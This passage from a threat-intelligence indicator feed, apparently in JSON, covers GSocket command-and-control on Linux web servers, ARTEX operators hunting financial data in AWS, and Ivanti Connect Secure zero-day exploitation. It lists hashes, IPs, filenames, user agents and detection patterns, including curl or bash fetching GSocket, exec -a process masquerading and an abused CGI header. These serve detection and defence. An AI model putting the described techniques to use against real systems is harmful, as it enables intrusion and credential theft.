"https://bazaar.abuse.ch/sample/d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar" }, { "url": "https://bazaar.abuse.ch/sample/55d141bb2f62c527c3fea3413b8429fed7d52633d0b123b5e611bfa42165229f/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (2)" } ], "indicator_count": 9, "block_now_count": 4, "hunt_count": 5, "hunt_counts": { "alert": 5 }, "indicator_counts": { "filename": 5, "sha256": 4 }, "ioas": [ { "artefact": "A web-server process running curl or bash against gsocket.io, including /y or /install.sh", "log_source": "EDR process events on internet-facing Linux web servers", "why": "Microsoft saw compromised web applications retrieve and install GSocket from the legitimate project site. Do not block gsocket.io; hunt the process ancestry.", "action": "alert", "has_query": true, "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_name": "Microsoft", "title": "Web server retrieving GSocket from gsocket.io", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Files under /dev/shm/.gs-* or named gs-netcat_mini-linux-x86_64, gs-netcat_mini-linux-aarch64 or .gsn_ora", "log_source": "EDR file events on Linux servers", "why": "Microsoft observed GSocket clients staged under /dev/shm/.gs-0/ and a .gsn_ora staging file under /tmp.", "action": "alert", "has_query": true, "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_name": "Microsoft", "title": "GSocket staging under /dev/shm or .gsn_ora", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A systemd-remount-d binary, /usr/bin/defunct, or a defunct.service unit", "log_source": "EDR file, process and systemd events on Linux servers", "why": "Microsoft observed GSocket persisted as systemd-remount-d or /usr/bin/defunct, with a defunct.service unit and a multi-user.target.wants link.", "action": "alert", "has_query": true, "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_name": "Microsoft", "title": "GSocket persistence as systemd-remount-d or defunct", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "bash using exec -a to present a payload as [kaluad], or chmod 700 and touch against /usr/bin/defunct or defunct.service", "log_source": "EDR process events on Linux servers", "why": "Microsoft saw bash exec -a launch /usr/bin/defunct with the argument-zero name [kaluad], then chmod 700 and touch used to hide the payload.", "action": "hunt", "has_query": true, "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_name": "Microsoft", "title": "exec -a [kaluad] or timestomp of defunct", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 4, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2/block_now.txt", "download": "GSocket-Linux-Web-Server-C2_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2/defender_xdr_indicators.csv", "download": "GSocket-Linux-Web-Server-C2_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2/hunt.kql", "download": "GSocket-Linux-Web-Server-C2_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2/hunt.spl", "download": "GSocket-Linux-Web-Server-C2_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2/hunt_raw.spl", "download": "GSocket-Linux-Web-Server-C2_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2/hunt.yaral", "download": "GSocket-Linux-Web-Server-C2_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2/iocs.csv", "download": "GSocket-Linux-Web-Server-C2_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2", "share_url": "https://iocwatch.com/t/GSocket-Linux-Web-Server-C2/", "indicators": [ { "value": "d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "gs-netcat_mini-linux-x86_64 staged under /dev/shm/.gs-0/ (Microsoft). On the block list.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_label": "Microsoft Threat Intelligence – Global Socket: how threat actors are weaponizing GSocket for stealthy C2", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "name": "Microsoft" }, { "url": "https://bazaar.abuse.ch/sample/d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa/", "name": "MalwareBazaar" } ] }, { "value": "f95c4d029e6784e3849b4d1e2e2ae1a661187236ef7c5d487c71158a290a03b5", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "gs-netcat_mini-linux-aarch64 staged under /dev/shm (Microsoft). On the block list.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_label": "Microsoft Threat Intelligence – Global Socket: how threat actors are weaponizing GSocket for stealthy C2", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "name": "Microsoft" } ] }, { "value": "55d141bb2f62c527c3fea3413b8429fed7d52633d0b123b5e611bfa42165229f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "systemd-remount-d persistence payload, seen as /tmp/systemd-remount-d and /usr/bin/systemd-remount-d (Microsoft). On the block list.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_label": "Microsoft Threat Intelligence – Global Socket: how threat actors are weaponizing GSocket for stealthy C2", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "name": "Microsoft" }, { "url": "https://bazaar.abuse.ch/sample/55d141bb2f62c527c3fea3413b8429fed7d52633d0b123b5e611bfa42165229f/", "name": "MalwareBazaar" } ] }, { "value": "12450bafc7a4398040e1ad3a16dbf4dbc79b6a8f83ef306c4f0f73f59886f06c", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": ".gsn_ora staging file under /tmp (Microsoft). On the block list.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_label": "Microsoft Threat Intelligence – Global Socket: how threat actors are weaponizing GSocket for stealthy C2", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "name": "Microsoft" } ] }, { "value": "gs-netcat_mini-linux-x86_64", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "GSocket client filename observed under /dev/shm/.gs-0/ (Microsoft). Alert only.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_label": "Microsoft Threat Intelligence – Global Socket: how threat actors are weaponizing GSocket for stealthy C2", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "name": "Microsoft" } ] }, { "value": "gs-netcat_mini-linux-aarch64", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "GSocket client filename (aarch64) observed under /dev/shm (Microsoft). Alert only.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_label": "Microsoft Threat Intelligence – Global Socket: how threat actors are weaponizing GSocket for stealthy C2", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "name": "Microsoft" } ] }, { "value": "systemd-remount-d", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Persistence name for a renamed GSocket payload (Microsoft). Alert only; confirm it is not a legitimate unit.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_label": "Microsoft Threat Intelligence – Global Socket: how threat actors are weaponizing GSocket for stealthy C2", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "name": "Microsoft" } ] }, { "value": ".gsn_ora", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "GSocket staging filename under /tmp (Microsoft). Alert only.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_label": "Microsoft Threat Intelligence – Global Socket: how threat actors are weaponizing GSocket for stealthy C2", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "name": "Microsoft" } ] }, { "value": "defunct.service", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Systemd unit name used to persist a renamed GSocket payload (Microsoft). Alert only.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "source_label": "Microsoft Threat Intelligence – Global Socket: how threat actors are weaponizing GSocket for stealthy C2", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "name": "Microsoft" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2/hunt.kql", "download": "GSocket-Linux-Web-Server-C2_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2/hunt.spl", "download": "GSocket-Linux-Web-Server-C2_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2/hunt_raw.spl", "download": "GSocket-Linux-Web-Server-C2_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GSocket-Linux-Web-Server-C2/hunt.yaral", "download": "GSocket-Linux-Web-Server-C2_hunt.yaral" } ] }, { "id": "ARTEX-AWS-Financial-Data-Hunting", "folder": "threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting", "name": "ARTEX AWS Financial-Data Hunting", "short": "ARTEX AWS financial-data hunting", "category": "Financially motivated intrusion / cloud", "published": "2026-11-09", "entry_date": "2026-11-12 09:50", "last_updated": "2026-11-12", "seq": 25, "headline": "ARTEX operators in AWS hunting financial logs and Cognito, with hunt-only operator IPs", "summary": "Datadog Security Labs documented ARTEX operators in the Storm-0940 cluster hunting financial data in AWS environments. The agents call CloudWatch FilterLogEvents for card, payment and invoice terms with a 1,000-event limit, probe S3 anonymously then move into Amazon Cognito (SignUp and InitiateAuth), and send distinctive ARTEX user agents such as artex-readonly/1.0 and ARTeX-authorized-pentest. Ten operator IP addresses were published by Datadog only, so they are medium confidence and for hunt and alert only; do not block whole hosting ASNs or unrelated hosts on the same networks. This activity is distinct from the Cambodia-based Storm-3358 web-RAT campaign, which has its own entry. Sophos X-Ops has also described ARTEX tradecraft against financial organisations, without publishing these AWS addresses.", "caveat": "Single-source network indicators (Datadog). Alert and hunt only; do not block entire ASNs or shared hosting ranges. Distinct from Storm-3358.", "targets": { "countries": [], "regions": [ "Global" ], "sectors": [ "Financial services" ], "note": "Datadog documented ARTEX operators (Storm-0940 cluster) hunting financial data in AWS, including card, payment and invoice log content. Specific victim organisations were not named.", "source": { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "name": "Datadog Security Labs" } }, "mitre": [ { "id": "T1595", "name": "Active Scanning", "url": "https://attack.mitre.org/techniques/T1595/" }, { "id": "T1526", "name": "Cloud Service Discovery", "url": "https://attack.mitre.org/techniques/T1526/" }, { "id": "T1530", "name": "Data from Cloud Storage", "url": "https://attack.mitre.org/techniques/T1530/" }, { "id": "T1213", "name": "Data from Information Repositories", "url": "https://attack.mitre.org/techniques/T1213/" }, { "id": "T1078", "name": "Valid Accounts", "url": "https://attack.mitre.org/techniques/T1078/" }, { "id": "T1136.003", "name": "Create Cloud Account", "url": "https://attack.mitre.org/techniques/T1136/003/" }, { "id": "T1071", "name": "Application Layer Protocol", "url": "https://attack.mitre.org/techniques/T1071/" } ], "recommended_actions": [ "Alert on the ten operator IP addresses in CloudTrail, VPC flow, WAF and perimeter logs; do not block whole ASNs.", "Hunt CloudTrail for FilterLogEvents calls whose filter patterns include financial terms (card, payment, invoice, transaction) and a limit of 1,000, and for anonymous S3 access followed by Cognito SignUp or InitiateAuth.", "Hunt proxy, WAF and application logs for ARTEX user agents (artex-readonly/1.0, artex-pentest/1.0, artex-audit/1.0, artex-spawn/1, artex-verify/1.0, ARTEX-worker/1.0, ARTeX-authorized-pentest, Mozilla/5.0 ARTeX, artex-i21861-canary).", "Look for canary GetObject keys such as zzz_nonexistent_abc.txt immediately before real object reads, and review IAM and Cognito changes in the same window." ], "sources": [ { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "name": "Datadog Security Labs" }, { "url": "https://www.sophos.com/en-us/blog/artex-attackers-apply-agentic-ai", "label": "Sophos X-Ops – ARTEX attackers apply agentic AI (tradecraft corroboration, no AWS addresses)", "name": "Sophos" } ], "indicator_count": 10, "block_now_count": 0, "hunt_count": 10, "hunt_counts": { "alert": 10 }, "indicator_counts": { "ipv4": 10 }, "ioas": [ { "artefact": "CloudWatch FilterLogEvents calls whose filter patterns include financial terms and a limit of 1,000", "log_source": "AWS CloudTrail", "why": "Datadog saw ARTEX agents search CloudWatch logs for card, payment and invoice terms with FilterLogEvents and a 1,000-event limit.", "action": "hunt", "has_query": true, "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_name": "Datadog Security Labs", "title": "CloudWatch FilterLogEvents for financial terms", "queries": [ "KQL", "SPL" ] }, { "artefact": "Anonymous S3 access followed by Cognito SignUp or InitiateAuth from the same identity or address", "log_source": "AWS CloudTrail", "why": "Datadog documented ARTEX operators probing S3 anonymously, then creating or authenticating Cognito users to reach further data.", "action": "hunt", "has_query": true, "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_name": "Datadog Security Labs", "title": "Anonymous S3 then Cognito SignUp or InitiateAuth", "queries": [ "KQL", "SPL" ] }, { "artefact": "HTTP or AWS API requests with ARTEX user agents such as artex-readonly/1.0, ARTeX-authorized-pentest or ARTEX-worker/1.0", "log_source": "AWS CloudTrail, WAF, proxy and application logs", "why": "Datadog published distinctive ARTEX user agents used during AWS financial-data hunting, including artex-readonly/1.0, artex-pentest/1.0, artex-audit/1.0, artex-spawn/1, artex-verify/1.0, ARTEX-worker/1.0, Mozilla/5.0 ARTeX, ARTeX-authorized-pentest and artex-i21861-canary.", "action": "alert", "has_query": true, "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_name": "Datadog Security Labs", "title": "ARTEX user agents in AWS or proxy logs", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "S3 GetObject or HeadObject for canary keys such as zzz_nonexistent_abc.txt or Notexist-xyz immediately before real object reads", "log_source": "AWS CloudTrail", "why": "Datadog observed ARTEX agents probing non-existent canary object keys before reading real financial data.", "action": "hunt", "has_query": true, "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_name": "Datadog Security Labs", "title": "ARTEX canary S3 object keys", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 4, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting/block_now.txt", "download": "ARTEX-AWS-Financial-Data-Hunting_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting/defender_xdr_indicators.csv", "download": "ARTEX-AWS-Financial-Data-Hunting_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting/hunt.kql", "download": "ARTEX-AWS-Financial-Data-Hunting_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting/hunt.spl", "download": "ARTEX-AWS-Financial-Data-Hunting_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting/hunt_raw.spl", "download": "ARTEX-AWS-Financial-Data-Hunting_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting/hunt.yaral", "download": "ARTEX-AWS-Financial-Data-Hunting_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting/iocs.csv", "download": "ARTEX-AWS-Financial-Data-Hunting_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting", "share_url": "https://iocwatch.com/t/ARTEX-AWS-Financial-Data-Hunting/", "indicators": [ { "value": "169.128.55.214", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ARTEX operator IP listed by Datadog Security Labs. Medium confidence, alert/hunt only.", "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "source_name": "Datadog Security Labs", "sources": [ { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "name": "Datadog Security Labs" } ] }, { "value": "154.64.252.77", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ARTEX operator IP listed by Datadog Security Labs. Medium confidence, alert/hunt only.", "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "source_name": "Datadog Security Labs", "sources": [ { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "name": "Datadog Security Labs" } ] }, { "value": "154.36.136.197", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ARTEX operator IP listed by Datadog Security Labs. Medium confidence, alert/hunt only.", "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "source_name": "Datadog Security Labs", "sources": [ { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "name": "Datadog Security Labs" } ] }, { "value": "154.36.136.23", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ARTEX operator IP listed by Datadog Security Labs. Medium confidence, alert/hunt only.", "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "source_name": "Datadog Security Labs", "sources": [ { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "name": "Datadog Security Labs" } ] }, { "value": "102.216.154.102", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ARTEX operator IP listed by Datadog Security Labs. Medium confidence, alert/hunt only.", "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "source_name": "Datadog Security Labs", "sources": [ { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "name": "Datadog Security Labs" } ] }, { "value": "82.158.88.233", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ARTEX operator IP listed by Datadog Security Labs. Medium confidence, alert/hunt only.", "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "source_name": "Datadog Security Labs", "sources": [ { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "name": "Datadog Security Labs" } ] }, { "value": "88.229.22.232", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ARTEX operator IP listed by Datadog Security Labs. Medium confidence, alert/hunt only.", "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "source_name": "Datadog Security Labs", "sources": [ { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "name": "Datadog Security Labs" } ] }, { "value": "103.54.154.40", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ARTEX operator IP listed by Datadog Security Labs (associated in the report with zeofast.cn). Medium confidence, alert/hunt only. Do not block the whole zone.", "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "source_name": "Datadog Security Labs", "sources": [ { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "name": "Datadog Security Labs" } ] }, { "value": "103.54.154.32", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ARTEX operator IP listed by Datadog Security Labs. Medium confidence, alert/hunt only.", "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "source_name": "Datadog Security Labs", "sources": [ { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "name": "Datadog Security Labs" } ] }, { "value": "45.145.228.25", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "ARTEX operator IP listed by Datadog Security Labs. Medium confidence, alert/hunt only.", "source_url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "source_label": "Datadog Security Labs – ARTEX agentic attacks in AWS environments", "source_name": "Datadog Security Labs", "sources": [ { "url": "https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments/", "name": "Datadog Security Labs" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting/hunt.kql", "download": "ARTEX-AWS-Financial-Data-Hunting_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting/hunt.spl", "download": "ARTEX-AWS-Financial-Data-Hunting_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting/hunt_raw.spl", "download": "ARTEX-AWS-Financial-Data-Hunting_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/ARTEX-AWS-Financial-Data-Hunting/hunt.yaral", "download": "ARTEX-AWS-Financial-Data-Hunting_hunt.yaral" } ] }, { "id": "Ivanti-Connect-Secure-UTA0576-CVE-2026-118527", "folder": "threats/2026-11_November-2026/2026-11-12/Ivanti-Connect-Secure-UTA0576-CVE-2026-118527", "name": "Ivanti Connect Secure UTA0576 CVE-2026-118527", "short": "Ivanti Connect Secure UTA0576 CVE-2026-118527", "category": "Exploitation / VPN appliance", "published": "2026-10-13", "entry_date": "2026-11-12 09:50", "last_updated": "2026-11-12", "seq": 24, "headline": "UTA0576 chaining Ivanti Connect Secure zero-days to steal LAPS, BitLocker and AD credentials", "summary": "Volexity, Rapid7, CISA and CERT-FR have documented UTA0576 chaining unauthenticated Ivanti Connect Secure flaws CVE-2026-104935, CVE-2026-111357 and CVE-2026-118527. Operators abuse /dana-na/auth/url_default/welcome.cgi with a custom X-DSCGI-PATH header to run code, leave Python tooling under /tmp and /data/.icscap/, and steal LAPS, BitLocker and Active Directory credentials. The Integrity Checker Tool can miss this activity. CISA listed CVE-2026-118527 in the Known Exploited Vulnerabilities catalog with a due date of 13 November 2026. The operator address 108.165.147.64 was observed by Volexity on an Evoxt VPS and republished by Rapid7, so it is medium confidence and for hunt and alert only.", "caveat": "The operator IP is a Volexity observation republished by Rapid7 (medium confidence). File names such as ml.py are too generic to block estate-wide; hunt them on Connect Secure appliances only. Patching does not remove planted files.", "targets": { "countries": [], "regions": [ "Global", "Europe" ], "sectors": [ "Remote access", "Critical infrastructure", "Enterprise VPN" ], "note": "Any organisation running internet-facing Ivanti Connect Secure is in scope. CISA added CVE-2026-118527 to the KEV catalog (due 13 November 2026). CERT-FR issued alerte CERTFR-2026-ALE-013.", "source": { "url": "https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/", "label": "Volexity – A series of unauthenticated events: chained exploitation of Ivanti Connect Secure zero-days", "name": "Volexity" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1059.006", "name": "Python", "url": "https://attack.mitre.org/techniques/T1059/006/" }, { "id": "T1003", "name": "OS Credential Dumping", "url": "https://attack.mitre.org/techniques/T1003/" }, { "id": "T1552", "name": "Unsecured Credentials", "url": "https://attack.mitre.org/techniques/T1552/" }, { "id": "T1087", "name": "Account Discovery", "url": "https://attack.mitre.org/techniques/T1087/" }, { "id": "T1078", "name": "Valid Accounts", "url": "https://attack.mitre.org/techniques/T1078/" } ], "recommended_actions": [ "Patch Ivanti Connect Secure for CVE-2026-104935, CVE-2026-111357 and CVE-2026-118527 before the CISA due date of 13 November 2026, and take management interfaces off the internet where possible.", "Alert on 108.165.147.64 at the perimeter, and hunt appliance and proxy logs for /dana-na/auth/url_default/welcome.cgi requests that carry an X-DSCGI-PATH header (values seen include /home/webserver/htdocs/dana/fb/smb/wu.cgi and /home/runtime/tmp/).", "On Connect Secure appliances, hunt /tmp/ml.py, rq5.py, mk.py, rr.py, pu.txt, sp_out.txt and spray_hits.json; /data/.icscap/ (dsstatmond, cap*, h.py); and /home/runtime/tmp/ics-root-run-inband-*.pl. Do not treat those short file names as estate-wide block list entries.", "If compromise is suspected, do not rely on the 